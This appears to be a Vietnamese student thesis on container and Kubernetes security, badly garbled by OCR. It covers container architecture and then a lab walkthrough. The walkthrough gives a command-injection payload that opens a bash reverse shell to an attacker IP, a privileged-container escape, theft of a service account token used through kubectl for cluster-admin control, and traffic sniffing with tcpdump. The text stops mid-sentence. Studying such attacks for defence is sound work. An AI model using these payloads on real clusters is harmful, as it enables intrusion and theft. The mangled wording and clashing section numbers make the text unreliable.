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MO PAU

Trong nhitng ndm gan day, cong nghé container héa (Containerization) cting
kién trac vi dich vu (Microservices) dang phat trién than téc va tré thanh tiéu chuin
cot 161 trong ha tang cong nghé thong tin hién dai. Kién trac ndy c6 thé thiy ¢ moi
noi tir hé théng may chu cua cac doanh nghiép, dich vu dién toan dam may cho dén
cac tmg dung van hanh thuc té. Theo bao cdo théng ké va dir bao tir to chirc nghién
ctru thi trudong danh tiéng Gartner, xu huéng dich chuyén sang nén ting dam may
phan tan dya trén container s€ bung nd manh mé, cu thé udc tinh dén hét nim 2026
s& c6 hon 90% céc t6 chirc va doanh nghiép trén toan cau trién khai ing dung dudi
dang container hoa trong méi trudng san xuat, ting trudng vuot bac so vai ty 18 dudi

40% & giai doan dau thap ky [1].

Véi viéc phat trién bung nd vé quy mo cua cac hé théng container nhu vy, van
dé vé dam bao an ninh, an toan thong tin danh cho méi truong nay lai duoc dit ra va
nhan dugc nhiéu sy quan tim sdu sic cta cac nha khoa hoc ciing nhu cong dong bao
mat. Da c6 mot sb nghién ctru dugc thuc hién nham phat hién cac hanh vi tan cong
mang nhdm vao cau phan image, runtime hay hé diéu phdi container va cho céac két
qua kha quan. Tuy nhién, cac chuyén gia an ninh mang dang phai d6i mat v4i thach
thirc 16n vé hiéu ning va kha ning hoat dong trong sudt ctia cac cong cu phat hién va
phong thu. Nguyén nhan pho bién 1a do ban chat cac container trong kién tric
microservices dugc thiét ké voi do phire tap phan ré, yéu cau tdi gian tbi da do tré dé
t61 wru tai nguyén may chii. Chinh diéu nay khién hé thdng container cang dé tré thanh
muc tiéu hang dau cua tin tic voi cac k¥ thuat tinh vi nhu tan cong thoat chu@)ng, cau
hinh sai ddc quyén, hay tin cong mang ndi bo, dong thoi gay kho khin cho viée trién
khai cac giai phap ddm bao an ninh an toan truyén thong von tiéu ton nhiéu tai nguyén.

Do d6, hoc vién thyc hién dé an “Nghién ciru phwong thirc tin cong vao hé
théng container” v&i muyc tiéu chi ra cac véc-to de doa, thuc nghi€ém lam r6 co ché

xam nhap , tir 46 dé xuét giai phap giam sat va cdu hinh phong thi hiéu qua, gan nhu
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trong sudt va khong gy anh hudng téi hiéu ning van hanh thue té cua cac thiét bi

cling nhu may chu container.



CHUONG 1: CO SO LY LUAN VE CONG NGHE CONTAINER VA KIEN
TRUC HE THONG

1.1. Giéi thiéu chwong

Chuong 1 s& tap trung 1am rd cac khai niém ct 161 vé cong nghé container hoa
(Containerization), phan tich sy khac biét mang tinh phan ting hé théng giita
container va cong nghé méy ao truyén thong (Virtual Machine). Pong thoi, chuong
nay ciing di sdu mo ta kién tric phan 16p cdu thanh nén mot hé sinh thai container
dién hinh. Cudi cung, ndi dung chuong s& phan tich chi tiét hai co ché bao mat nén

tang ctia nhan Linux la Namespaces va Control Groups.
1.2. Tong quan vé cong nghé Container héa (Containerization)
1.2.1. Khai niém

Khai niém "container" xuat hién trong nhiéu linh vuc véi cac dinh nghia khac
nhau. Trong nganh vén tai va logistics, container dugc hiéu 1a “la mét thing rong
bang kim logi, bén trong cé thé chita nhiéu logi hang héa khéc nhau va dwoc tdi sir
dung nhiéu lan. Container thwong cé nhiéu kich thuée khdc nhau phit hop véi tirng
phuwong tién van chuyén; dwoc thiét ké va lam tir vt liéu rat bén nhu thép hoac nhom
nén co kha nang chiu lyc t6t, han ché dwoc dwoc cdc tac dong cua moi truong.” [2].
Diém dic trung ctia container van tai 1a tinh chuan hoa vé kich thudc, giup né dé dang

tuong thich véi nhiéu loai phuong tién khac nhau.

Chinh nhimng dic tinh wu viét &y — 16p vo dong goi doc 1ap, kha nang tai st
dung va tinh chuan hoa — di trd thanh cam hing cho giai phap dong géi tmg dung
trong linh vire Cong nghé thong tin. Trong kién tric phan mém, khai niém "container"
dugc khai quat 1én phu hop cho linh vuc xay dung kién trac ¢t 16i. Theo Docker
“Container la mét don vi phan mém tiéu chudn givip déng géi md nguon cing tat cd
cdc thanh phan phu thuéc, dam bdo g dung vdn hanh nhanh chéng va én dinh khi
chuyén déi giita cdc méi trwong dién toan khdc nhau. Docker container image la mot

goi phdn mém gon nhe, doc lap va co thé thuee thi dwoce; né chiva moi thir can thiét dé



chay vmg dung, bao gom md nguon, méi truong thuc thi (runtime), cdc cong cu hé
théng, thw vién hé thong va cdc thiét ldp cdu hinh.” [3]. Nhu viy, co thé thay
Container v& mit ban chat 13 mot tiéu chuin dong géi va thuc thi phdn mém, giup toi
uu héa qua trinh trién khai. Tuy nhién, khong it goc nhin chua chinh xac khi coi
Container 1a mot kién trac hé théng hoan chinh; thuc chit, Container dong vai tro 1a
ha tang déng gbi Iy tuéng phuc vu cho mot xu hudng kién truc téng thé hon: Kién

trac Vi dich vu (Microservices).

1.2.2. Kién trizc Monolithic va Microservice

MONOLITHIC MICROSERVICE
ARCHITECTURE ARCHITECTURE

) User Micro- ) User Micro-
interface service interface service
/ \
Business Data A \ N
Logic Access
Layer
Micro- Micro- Micro- Micro-
service sorvice service service
|
® ] e © @
@ ] [ J (] [
@ @ @ (] L
Data Base Data Base Data Base Data Base Data Base

Ngudn: NasTech Blog

Hinh 1.1. So sénh mé hinh kién tric Monolithic va Microservice

Vay Microservices thuc sy 1a gi? Trai nguoc voi kién trac khdi théng nhat
(Monolith) truyén théng, noi toan bo hé théng gdp chung vao modt mi ngudn,
Microservices 1a phong céch kién trac chia nho ung dung thanh nhiéu dich vu doc
lap, mdi dich vu ddm nhan mot chic ning kinh doanh riéng biét. Khi do, timg dich
vu nhé ndy s& dugc "dong g6i" gon nhe bén trong mot Container, gitip hé théng vira

dé dang md& rdng, vira hoat dong doc 1ap va linh hoat trén moi moi truong.

Cong nghé container héa (containerization) t6i uu héa hiéu suét str dung tai
nguyén hé thong, cho phép trién khai dong thoi da img dung trén mot may chi vat 1y
duy nhat. Giai phap nay dam bao tinh doc 1ap tuyét ddi ctia moi truong thue thi, loai

b6 su phu thudc va cac gidi han phan manh phién ban tir hé diéu hanh (OS) ctia may



chu. Mot cong nghé hiru ich xudt phat tir nhitng nhu cau thuc t& duéi day 1a mot sb
cot mdc trong qua trinh dinh hinh va phat trién cta “Containerization”.

EVOLUTION OF CONTAINER TECHNOLOGY

Past, Present and Future

1970 2004-2005 2006-2008 2013-2014 2016-2017 PRESENT FUTURE
Beginning of process  Solarls Contalners was Google launched process Docker engine Kubernetes was Kubernetes Is now the Hyper abstraction
Isolation with the released In 2004 that Contalners In 2006. It was was first released adopted by Cloud gold standard. There has Adoption of Serverless
Introduction of Unix comblined system designed for limiting, In2013. Matlve Computing been an explosion of technologles
v7 In 1970. it allowed  resource controls and accounting, and Isolating Foundation (CNCF) In  companies catering to
for the segregation of  boundary separation. Tesource usage. Kubernetes was 2016 the management of Focus on security
file access for each announced by contalners, CI/CD, and contalners at the

In 2017, all major

process. In 2005, Open Vz Was LXC (LinuX Containers, Google In 2014 DevsecOps. Intelligent edge, and for
released which provided  2008) was the first and players adopted; mission-critical
operating system-level most complete supported Kubernetes Growth of hybrid and applications
virtualization technology — Implementation of LInux multl-cloud

Security vulnerabilities
revealed CVE-2016
5195

Increase In complexity

for Linux contalner manager. and skill shortage

environments

Hinh 1.2. So luoc lich sur hinh thanh cong nghé Container

Lich sir hinh thanh va phat trién cta cong nghé container 1a mot hanh trinh dai
tir nhitng ¥ tuéng so khai vé co 1ap quy trinh cho dén mot hé sinh thai quan 1y dam
may toan dién. Khai dau tr nam 1979 véi su ra doi ctia Unix v7, tinh nang chroot da
dat vién gach dau tién bang cach cho phép phan tach khong gian tép cho timg quy
trinh cu thé. Budc sang giai doan 2000-2005, cong nghé 4o hoa cap do hé diéu hanh
dugc nang 1én mot tam cao méi nhd FreeBSD Jails vai kha nang ¢6 1ap ca nguoi ding
lan mang ludi, tiép ndi bai su xuit hién caa Solaris Containers va OpenVZ trén nén

tang Linux.

Cot mdc quan trong tiép theo dién ra vao nhitng nim 2006—2008 khi Google
dong gop du an Process Containers (sau nay 1a cgroups), tao tién dé viing chic cho
su ra doi cia LXC (Linux Containers). LXC chinh la trinh quan 1y container hoan
chinh dau tién tich hop sdu vao nhan Linux. Tuy nhién, cong nghé nay chi thuc su
bung nd va tiép can duoc s dong dai ching vao nam 2013 nhd sy xuat hién cia
Docker, giup chuin hoa va don gian hoa toan bd quy trinh déng géi tng dung. Dé
giai quyét bai toan quan 1y quy mé 16n khi container trg nén pho bién, Google tiép
tuc cong bd dy 4n Kubernetes vao nim 2014 dé diéu phdi va tu dong hoa hé thong

nay. [4]



Cho dén nay, Kubernetes da trd thanh chuidn muc cbt 16 cta toan nganh cong
nghiép dudi su quan 1y ctia to chire CNCF. Trong twong lai, cong nghé container duoc
du bao sé tiép tuc dich chuyén manh m& hudng tdi cac kién trac siéu triru tuong, mo
hinh ma ngudn khong may chu (Serverless), chil trong bao mat DevSecOps va md
rong pham vi hoat dong dén cac ving bién thong minh (Intelligent Edge) cing méi

truong da dam may.
1.3. Phan biét Container va May do

Pé hiéu 16 sy dich chuyén cong nghé tir 4o hoa truyén théng sang xu hudng
container hoa, viéc phéan tich va so sanh kién trac cbt 15i giita hai giai phap nay la
diéu vo cung thiét yéu. Vé co ban, sy khac biét 1on nhat nam ¢ ting triru tuong
(abstraction layer) ma mdi cong nghé Iya chon dé c6 1ap tai nguyén: mot bén ao hoa
tir cap do phan cting (Hardware-level Virtualization), trong khi bén con lai 40 hoa ¢

cap do6 hé diéu hanh (OS-level Virtualization).

Ao héa cip phan cirng 1 cong nghé tao ra cac may ao (Virtual Machines - VMs)
hoat dong hoan toan ddc 1ap véi nhau va véi may cha vat Iy (Host OS/Hardware).
Trong tim cua kién tric ndy 1a Hypervisor (Trinh gidm sat may 40) — mot ting phan
mém chiu trach nhiém quan 1y, phan phdi tai nguyén phan ctng vat Iy (CPU, RAM,

O cung) va khéi tao cac phan cung 4o cho tirng may 4o.

Application Application Application
Operating Operating Operating
System System System
VM VM VM
(Virtual CPU, RAM, (Virtual CPU, RAM, (Virtual CPU, RAM,
NIC, Disk) NIC, Disk) NIC, Disk)
VMM VMM VMM

Enhanced
Features
Basic Functionality (e.g., scheduling, memory management)

Hypervisor

Hinh 1.3. Kién triic tong thé ciia do héa VM

Hypervisor dugc chia lam hai loai chinh v6i cau trac phan tang nhu sau:



+ Hypervisor Type 1 (Bare-metal): Cai dit truc tiép 1én trén phan cing vat Iy
cia may chit ma khong can hé diéu hanh nén. Cac may ao (Guest OS) sé& chay truc
tiép phia trén ting Hypervisor nay (Vi du: VMware ESXi, Microsoft Hyper-V,
KVM). Kién triic ndy mang lai hiéu ning cao va tinh an toan tuyét d6i nén thuong

dugc dung trong cac trung tam dit li¢u 16n.

+ Hypervisor Type 2 (Hosted): Chay nhu mot Gmg dung trén nén tang ctiia mot
hé diéu hanh chu (Host OS). Hé diéu hanh chu diéu khién phan cing, Hypervisor goi
tai nguyén tir Host OS dé phan phdi cho Guest OS (Vi du: VirtualBox, VMware
Workstation). Kién trac nay linh hoat, d& cai dit trén may tinh ca nhan nhung hiéu

nang bi giam sat do phai qua nhiéu tang trung gian.

Hypervisor or Virtual Machine Mpnitor (VMM)

Type 1 Type 2
Native (bare metal) Hosted

Hardware

Hardilvare
&%

Guest | Guest | | Guest | @
oS oS oS Hypervisor

Guest | | Guest | | Guest
[} oS oS

Hinh 1.4. Mé hinh kién triic Hypervisor Type 1 va 2

Hypervisor

bic diém kién tric: Moi may ao dugc khéi tao bt budc phai s¢ httu mot H¢
diéu hanh khach (Guest OS) riéng biét, di kém day du cac driver 4o, nhan (kernel) va
cac thu vién hé théng doc lap. Chinh cAu trac "nang né" nay khién VM tiéu ton mot

luong tai nguyén cd dinh dang ké ngay ca khi ing dung bén trong chua van hanh.
Kién tric Ao hoa cap hé diéu hanh (Containerization)

Trai ngugc voi cach ti€ép can cua May 4o, dao hdéa cap hé di€u hanh hay

Containerization khong cd ging gia 1ap phan ctng ao. Thay vao do, cong nghé nay



tan dung truc tiép nhan (Kernel) cia Hé diéu hanh cha (Host OS) va sir dung cac tinh
nang ¢ 1ap manh mé cta Linux (nhu Namespaces dé c¢o 1ap khong gian 1am viéc va

Cgroups dé gidi han tai nguyén) dé tao ra cac khong gian chay tmg dung biét lap.

‘ Containers

Container| |Container| [Container| |Container| [Container

Container Software (i.e. Docker)

Operating System

Infrastructure

Hinh 1.5. M hinh phdn I6p kién tric Container

DPong vai tro diéu phdi trung tim trong kién tric nay 1a Container Engine (vi
du: Docker Engine, Podman). Container Engine khong phan chia phan cting, n6 chi

thiét 1ap cac ranh gidi phan mém.

Pic diém kién tric: Cac container trén ciing mdt may chu s& chia sé chung
nhén hé diéu hanh (Shared Kernel) ciia may chua vat Iy. Mdi container chi dong goi
mi ngudn Gmg dung cung cac thu vién phu thudc (bin/libs) tdi thiéu can thiét dé chay
g dung d6. Do loai bé hoan toan dugc tang Guest OS cong kénh, container tré nén
siéu nhe, o kich thudc chi vai chuc MB dén vai trim MB va c6 thé khoi dong ngay
1ap tuc trong vong vai mili gidy.

1.4. Kién triic phan 16p ciia hé thong Container

Mot hé sinh thai container tiéu chuin duoc cAu thanh tir bdn thanh phén logic nén

tang:

+ Hé thong tép phan 16p (Filesystem): Container van hanh dya trén co ché hé théng
tép phan 16p (Union File System), cho phép xép chong va tich hop nhiéu 16p dit lidu.
Dic tinh ndy cho phép hé thdng thém hoic stra ddi cic thanh phan phan mém & 16p

trén clng (writable layer) ma hoan toan khong anh hudéng dén cac 16p tinh ¢ dudi



(read-only layers). Co ché nay tao diéu kién cho viéc tai sir dung céc 16p tai nguyén
chung, gitip tiét kiém dung lugng luu trit dia va tdng tdc do khoi tao dich vu. Hé théng
tép lién hop (Union File System - UnionFS) van hanh trén 16p triru tuong phia trén
cac hé thong tép truyén théng khac. Co ché nay thiét 1ap mot goc nhin logic dong
nhat va duy nhit d6i voi cac tép tin cling nhu thu muc vén thude vé cac hé théng tép
biét 1ap. Noi cach khac, UnionFS thyuc hién gin két dong thoi nhiéu thu muc khac
nhau vao mét thu myc goc duy nhat. Do d6, vé ban chat ki thuat, giai phap nay dong

vai trd nhu mot co ché gan két tai nguyén (mounting mechanism) hon 1a mot kién

Writeable ’ 6

[ Copy-On-Writ
Add Apache ' Epa e
Container d

Read-Only | [ %

Image Ubuntu Base Image
Hinh 1.6. M6 hinh kién triic phan I6p ciia UFS

tric hé thong tép doc lap. [1]

Layers

+ Anh container va Kho luwu trir (Container Image & Registry)

Container Image: Pong vai tro 1a cac mau dinh sin (blueprints) dé tao 1ap céac
tmg dung container. Image luu trit toan b trang thai hé théng tép tinh cua tng

dung.

Container Registry: La hé théng quan 1y va phan phdi tap trung cic Container
Image (vi du: Docker Hub, Harbor). Quy trinh luan chuyén dich vu duoc thuc
hién thong qua céac 1énh nap, kéo va déy tép (Build, Pull, Run) tir phia may tram
(Client) dén cac Registry cau hinh trén Docker Host.



Registry myregistry.azurecr.io

Repositories myimage myhelmchart  base/node

Artifacts :abcl :def2 120201222 :2.0
me - m m my

Hinh 1.7. M6 hinh hoat dong cua mot public registry

+ Trinh thuwe thi Container (Container Runtime): Container Runtime chiu trach
nhiém thyc thi va quan 1y vong doi (khéi tao, van hanh, dung, hily) ctia cic container
trén hé thong méy chii host. Thanh phan nay cung cép giao dién lap trinh dé triru
tugng hoa cac tuong tac phuc tap véi ting nhan ctia hé didu hanh co ban. Cac trinh
thuc thi phé bién hién nay dugc phan chia cAu trac bao gém Docker, containerd, rkt

va CRI-O.

+ H¢é nén ting diéu phdi (Orchestration): Khi trién khai & méi truong thuc té
(Production), cac nén tang diéu phdi container dong vai trd ty dong hoa quy trinh
trién khai, m& rong quy mé va quan 1y cac cum Gng dung trén nhiéu may cha vat 1y.
Hé diéu phdi cung cap cac tinh ning then chdt bao gom: dinh tuyén dich vu (service
discovery), can bang tai (load balancing), giam sat tinh trang (health monitoring), tur
dong mo rong (auto-scaling) va cap nhat luan phién (rolling updates) nham dam bao
tinh sén sang cao va kha ning chiu 13i ctia toan hé théng. Cac giai phap orchestration

tiéu chuan trong cong nghiép bao gdm Kubernetes (K8s), Docker Swarm va Nomad.
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Availability
|
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Scaling
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tools multiple containers

Hinh 1.8. Céich hoat déng ciia cdc trinh diéu phoi
1.5. Cac co ché c6 1ap cot 16i ciia Linux Kernel trong Container

bé dam bao tinh ddc 14p va ngan chdn cac hanh vi can thi¢p trai phép giira cac
container 1an can hodc can thiép tryc ti€ép vao may chu vat ly, cong ngh¢ container

héa phu thudc vao hai co ché ¢o 1ap gdc cta nhan Linux (Linux Kernel):
1.5.1. Linux Namespaces (Khong gian tén)

Khong gian tén Linux (Linux namespaces) 1a mot tinh ning nén tang cta tang
nhan (kernel), cung cip co ché c¢d lap tai nguyén bang cach phan chia cac tai nguyén
hé théng ctia nhan sao cho cac tién trinh nhin nhan ching nhu cac thuc thé biét lap.
Mbi loai khong gian tén thyuc hién c6 1ap mot khia canh cy thé cua moi truong hé
thdng, cho phép cic tién trinh bén trong khong gian tén d6 van hanh doc 14p véi cac
tién trinh thudc cac khong gian tén khac. Co ché ¢ 1ap nay dong vai tro quyét dinh
d6i v6i cong nghé container hoa (containerization), vi nd cho phép nhiéu container
chay ddng thoi trén mot may chu vat Iy duy nhat ma khong giy xung dot hay can
thiép 1an nhau [2]. Namespaces chiu trach nhiém cé 1ap goc nhin ctia mot tién trinh
hoic mdt nhom tién trinh ddi véi cac tai nguyén dung chung cta hé théng. Nhan

Linux cung cap cac khong gian tén cot 16i:
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« Pid (Process ID): C6 1ap khong gian tién trinh. M6t tién trinh c6 thé mang ID
1a 1 (tién trinh gbc) bén trong container nhung thuc chat chi 1a mot tién trinh

c6 ID thong thuong trén Host OS.

« Net (Network): Cung cap cac giao dién mang, bang dinh tuyén va quan Iy cong
két ndi doc 1ap cho tirng container, ngin chin viéc nghe 1én luu luong mang

gifra cac container néu khong duogc phan quyén.

« Mnt (Mount): C6 1ap ciu tric so d6 gin két hé thdng tép, dam bao container
chi nhin théy hé théng tép duogc chi dinh ndi by ma khong truy cap dugc vao

hé théng tép ctia may chu vat 1y.

o Ipc (Inter-Process Communication): C6 1ap co ché giao tiép gitra cac tién trinh,
ngan khong cho céc tién trinh & cac container khac nhau chia sé bd nhd hoac

gui thong diép truc tiép cho nhau.

« User: Anh xa cac ID nguoi ding va nhom nguoi ding. Co ché nay cho phép
mot tai khoan ¢ dic quyén tdi cao (root - UID 0) trong container chi c6 dic
quyén ciia mot tai khoan thong thudng (non-root) ddi véi hé diéu hanh may

chu.

4 find /prec/ “name ns '.':::--"de'..-'-"m-.ﬂ_l- |xargs -I NS ls -la NS/net 2= /dewv/null| awk -F '-=' '{print $2}'|sort -u

Hinh 1.9. Khéng gian tén net trén thuec té khi chay Docker container

+ Co ché ¢b 1ap cia Khong gian tén (Namespace Isolation Mechanism):
Khong gian tén (Namespaces) dat duoc kha ning c6 1ap bang cach tao ra cac thyuc thé
biét 14p cua cac tai nguyén nhan hé diéu hanh toan cuc - GKR(global kernel
resources), cAc tai nguyén nay chi hién thi d6i v6i cac tién trinh nim trong khong gian
tén d6. Khi mot tién trinh duoc khoi tao cung vdi cac co khong gian tén cu thé
(namespace flags), nhan Linux s& chi dinh tién trinh d6 vao cac khong gian tén méi

hodc céc khong gian tén hién c6 tuong ing. Cac tién trinh bén trong cac khong gian
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tén nay ghi nhan mgt moi trudong hoan toan c6 1ap, bao gom cac cau truc cay tién

trinh, thiét bi mang va cac diém gan két hé thong tép duy nhat.

+ Vong doi va Quy trinh khéi tao Khong gian tén: Cac khong gian tén duogc
khéi tao va quan 1y b1 nhan hé diéu hanh thong qua cac cude goi h¢ bao gém clone(),

unshare(), va setns().

M&i khong gian tén s& tiép tuc duy tri va tén tai mién 1a c6 it nhat mot tién trinh
thudc vé no; khi khong con tién trinh ndo ton tai bén trong, khong gian tén d6 s& tu

d6ng bi nhan hé diéu hanh hiy bo.
1.5.2. Control Groups (cgroups)

Phan hé cgroups (Control Groups) 1a mdt gidi phap quan 1y, hach toan va theo
ddi tai nguyén tang nhan, cung cAp mot khung cau tric chung cho viéc nhom céc tién
trinh hé théng. Co ché nay chiu trach nhiém kiém soat va diéu phdi cac ngudn tai
nguyén phan cimg cdt 16i bao gom bo xtr 1y (CPU), bd nhd (RAM), cau phan mang
(Network) cuing nhiéu thanh phan phu tro khac. V& mat lich st phét trién, giai phap
cong nghé nay dugc khdi xudng vao nam 2006 boi cac ky su thudce tap doan Google
(trong d6 dong vai trd chu chdt 1a Paul Menage va Rohit Seth) duéi tén goi ban dau
1a "Process Containers" (Cac thung chira tién trinh). Ngay sau dé, vao nam 2007, du
an chinh thirc duoc doi tén thanh "Control Groups" va duoc tich hop (merge) truc
tiép vao phién ban Linux Kernel 2.6.24 vao nam 2008. Kién trtic c6t 16i cia cgroups
duogc ké thira va phat trién dua trén mot giai phap nguon mé ctia du 4n 40 héa OpenVZ

mang tén "Bean Counters". [3]

Trong khi Namespaces thuc hién nhiém vu c6 1ap khong gian hoat dong,
cgroups dong vai tro kiém soét, gidi han va phan phdi tai nguyén phan cing vat 1y
ma mot container dugc phép tiéu thu. cgroups thiét 1ap cac han ngach (quotas) nghiém
ngat ddi véi:

« B xit Iy (CPU): Gidi han ty 1¢ phan trim chu ky xir Iy hodc 4n dinh céc 15i

nhan cu thé cho container.
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« B® nhé (RAM): Thiét 1ap ngudng dung luong RAM tdi da. Néu container
vugt qua giol han cAu hinh, co ché bao vé cia hé diéu hanh sé tu dong can

thiép dé tranh gay anh huong dén tinh 6n dinh ctia may chu host.

« Biing thong lwu trit va mang (I/0O & Network): Gi6i han toc d6 doc/ghi dir

liéu 1én 6 dia va tbc do truyén tai goi tin qua mang.
1.6. Két luan chwong

Container duoc thiét 1ap dua trén sy két hop gitta cac co ché nguyén ban cua
nhan Linux (Linux kernel primitives) — trong tam 1a khong gian tén (Namespaces)
va nhom kiém soét (cgroups) — nham tao ra cac moi truong thuc thi doc 1ap va duoc
kiém soat chit ch& vé mat tai nguyén. Trong khi Namespaces cung cap cho container
cac goc nhin logic biét 1ap ddi v6i tai nguyén hé thdng (bao gdm dinh danh tién trinh
PID, giao dién mang va cac diém gan két hé thong tép) dé phan chia tai nguyén toan
cuc ctia nhan thanh cac thuc thé riéng biét, thi cgroups chiu trach nhiém ap dit cac
han ngach va quyén vu tién dbi véi CPU, bd nhd, bang thong I/O cliing cac thanh phan
hé théng c6t 161 khac, dam bao cac container ludn van hanh trong pham vi tai nguyén

dugc cap phat.

Céc trinh thuc thi container (Container Runtimes) nhu Docker hay LXC dong
vai tro 13 16p quan 1y trung gian dé diéu phéi quy trinh khéi tao, cdu hinh va quan 1y
vong doi ciia hé thong Namespaces va cgroups trén ting container. Thong qua viéc
g0i cac cudc goi hé théng ctia nhan Linux bao gdm clone(), unshare(), va setns(), cac
trinh thuc thi nay thiét 14p cac khong gian tén twong Gmg va gin két cac tién trinh vao
nhitng nhém cgroups lién quan. Bén canh d6, 16p runtime nay con ddm nhi¢m chic
ning quan 1y tép tin anh (Container Image), thiét 1ap cdu tric mang noi bo va giam
sat tai nguyén, cung cap mot giao dién t6i wu cho viéc trién khai cac tng dung
container hoa.

Trai ngugc véi kién tric may ao truyén théng dua trén 16p giam sat (Hypervisor-
based VMs) von phai mo phong phan ctng va van hanh cac hé diéu hanh khach

(Guest OS) biét 1ap, cac container dung chung nhan cta hé diéu hanh may cha (Host
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OS Kernel) va thyc hién co l1ap céc tién trinh & cép dd hé diéu hanh (OS-level
isolation). Su khéc biét cdt 161 vé mat kién tric nay gitp container giam thiéu dang
ké chi phi tiéu thy tai nguyén hao phi (overhead) va tbi wu hoa téc d6 khoi dong dich
vu. Mic du cac Hypervisor mang lai kha ning c6 1ap kién ¢ hon nho viéc thiét 1ap
cac ranh gi6i nhan doc 1ap, chung lai gay ra do tré hé théng va tiéu tén nhiéu CPU,

bd nhé cling nhu dung luong luu trit hon do phai 40 hoa toan dién ca hé diéu hanh.

Uu thé vuot trdi cia mo hinh container bao gém kha nang c6 1ap gon nhe, tde
d6 khai tao nhanh chong va hiéu suét sir dung tai nguyén tdi wu, bién day trd thanh
giai phap 1y tudng cho kién trac vi dich vu (Microservices) va cac tng dung thuan
dam may (Cloud-native applications). Tuy nhién, cong nghé ndy van ton tai nhiing
gi61 han nhat dinh vé& mit an ninh bao mat; viéc dung chung nhan h¢ diéu hanh véi
may cha vat Iy vo tinh md rong bé mit tin cong (Attack Surface) 16n hon so vi may
40. Ngoai ra, cac 16 hong ting nhan hodc céc sai sot trong cdu hinh hé thong déu tiém

an nguy co pha vo ranh gidi cd 1ap an toan cua container.
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CHUONG 2: THUC NGHIEM PHUONG THUC TAN CONG VA PHAN
TiCH VEC-TO XAM NHAP

2.3. Gidi thiéu chwong

Chuong 3 xay dyng moéi truong phong thi nghiém thyc té dé thyc hién cac kich
ban tan cong gia dinh (PoC), bao gdm: thoat chudng chiém quyén Host, danh cip
dinh danh Service Account va nghe 1én mang ndi bg. Két qua tur cac thuc nghi¢m nay
1a co so thuc té quan trong dé phat trién cac giai phap phong thu toan dién trong
chuong tiép theo.

2.4. Thiét 1ap Méi trwong Thue nghiém

10.15.x.171 10.15.x.172

..................

Master01 { Worker01

10154173

K

Attacker

Hinh 10. Mo hinh thuc nghiém

Moi trudng phong thi nghiém gém cum Kubernetes (Ubuntu 22.04, containerd
v1.7) trién khai tmg dung Microservices gia 1ap thuong mai dién tir voi 16 hong
Command Injection ¢d y. Mdy tan cong sir dung hé¢ diéu hanh Kali Linux cung dai
mang ndi bd, duoc trang bi ddy du cac cong cu kiém thir nhw Nmap, Burp Suite va

Kubect] .
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Chiém Pod va thoat chudng chiém
—) Node baing Privileged
Léi ciia web Trom Token leo thang chiém quyén ca
cluster
Nghe Ién diF liéu Plaintext gitra cac
Microservices

£ %
L

Hinh 11. So dé luéng thue nghiém
2.5. Kich ban TN-01: T4n céng thoat chudng (Container Escape) qua ciu hinh
sai Pic quyén

2.5.1. Muc tiéu

Tir quyén truy cap ban dau thu dugc bén trong container Frontend, ké tdn cong
bé gy ranh gidi c6 1ap dé nhay ra ngoai (Escape), chiém quyén diéu khién dic quyén
root truc tiép trén hé diéu hanh cia may chua host vat Iy (worker01).
2.5.2. Diéu kign kich hogt 16i

Quan tri vién cu hinh sai Jam nghiém trong trong file deployment khi kich hoat
ché d6 siéu dic quyén (privileged: true) cho container.
2.5.3. Quy trinh thuwc hi¢n chi tiét

Thong qua giao dién Web muc tiéu tai cong 30080, ké tin cong tiém chudi
payload ddc hai vao 6 URL:Plaintexthttps://google.com'; bash -c¢ 'bash -1 >&
/dev/tep/10.15.xx.173/4444 0>&1'"; '. Trong do 10.15.xx.173 1a dia chi cua may
hacker.

Hé thdng backend thyc thi ngdm qua ham os.popen(), tra vé mot phién shell
tuong tac root@web-frontend-xxx:/# vé cho may Kali.Kiém tra nang lyc dic quyén
(Capabilities Check): Tai shell vira chiém dugc, ké tin cong kiém tra quyén bang

1énh: capsh --print

Két qua hién thi quyén cap_sys_admin va cap_sys_rawio $\rightarrow$
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2.5.4. Két qud thwe nghiém dat dwoc

Ngay sau khi 1énh chroot thuc thi, khong gian gdc ctia container bj pha v& hoan

toan. Dé ching minh hanh vi thoat chudng chiém quyén may chu vat 1y thanh cong.

2.6.  Kich ban TN-02: Panh cip Service Account Token dé chiém quyén cum

Kubernetes
2.6.1. Muc tiéu

Loi dung Token dinh danh (ServiceAccount) duoc gin mic dinh trong Pod
Frontend dé chiém quyén quan tri tdi cao (Cluster Admin) ciia toan bo cum may chit

K3s tir xa.
2.6.2. Diéu kién kich hoat 16i

Quan tri vién lién két tai khoan dich vu ctia Pod Frontend v61 quyén Admin ctua

toan cum thong qua mot ClusterRoleBinding qua 1dng.
2.6.3. Quy trinh thwc hién chi tiét

Khai thac va Panh cip Token mat: Ké tin cong st dung phién shell chiém duoc tir
16i Command Injection & TN-01, truy cép vao dudng dan luu trir token ndi bo ciia

Kubernetes dé trich xuat khoa ciu hinh:

cat /var/run/secrets/kubernetes.io/serviceaccount/token

0YmFmLWITMWI tMG
9kIjp7 Im5hbWuio

Dlm

Hinh 12. Token bi hacker ldy dwoc trong qud trinh khai thdc
Ké tan cong sao chép (Copy) toan bod chudi token siéu dai ma héa dang JTWT
(bat dau bang eylJ...) hién thi trén man hinh.
Céu hinh Kubectl tir xa trén may Kali: Mé mot Terminal doc l4p trén may

Kali Linux, ké tin cong nap Token trom dugc va IP that ciia API Server (Master

Node) vao bién moi trudong:
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Chiém quyén diéu khién thyuc té: Ké tin cong ra 1énh cho cum K3s théng qua

cong cu kubectl.

kubectl --server=$MASTER URL --token=$TOKEN --insecure-skip-
tls-verify get nodes

2.6.4. Két qud thwe nghiém dat dwoc

Man hinh may Kali Linux in ra danh sach toan by cdc node masterOl va
worker01 ¢ trang thai Ready. Véi quyén cluster-admin c6 dugc, tin tic di chiém

quyén kiém soat to1 cao toan bg Cluster.

2.7. Kich ban TN-03: Tan cong lién quan dén 16p mang mang ndi bd

(Container Networking)
2.7.1. Muc tiéu

Khai thac kién tric mang phang mic dinh (khong c6 tudng lira c6 lap Pod) dé
tién hanh bat va phan tich goi tin (Sniffing), danh cip thong tin thé tin dung nhay cam

truyén tai dudi dang vin ban tho (Plaintext) gitta cac dich vu vi mé 1an can.
2.7.2. Céu tric dich vu gid ldp phuc vu Lab

Hé thdng bod sung mot microservice ngdm mang tén payment-service.
2.7.3. Quy trinh thuwc hi¢n chi tiét

Cai dit cong cu bat géi tin: Tai phién shell tvong tac ciia Pod Frontend (nc),

ké thn cong thyc hién cép nhat va cai dat cong cu phan tich mang:
apt-get update && apt-get install -y tcpdump

Kich hoat cim chét bat dir liéu: Ké tan cong ra 1énh cho tepdump ghi lai toan

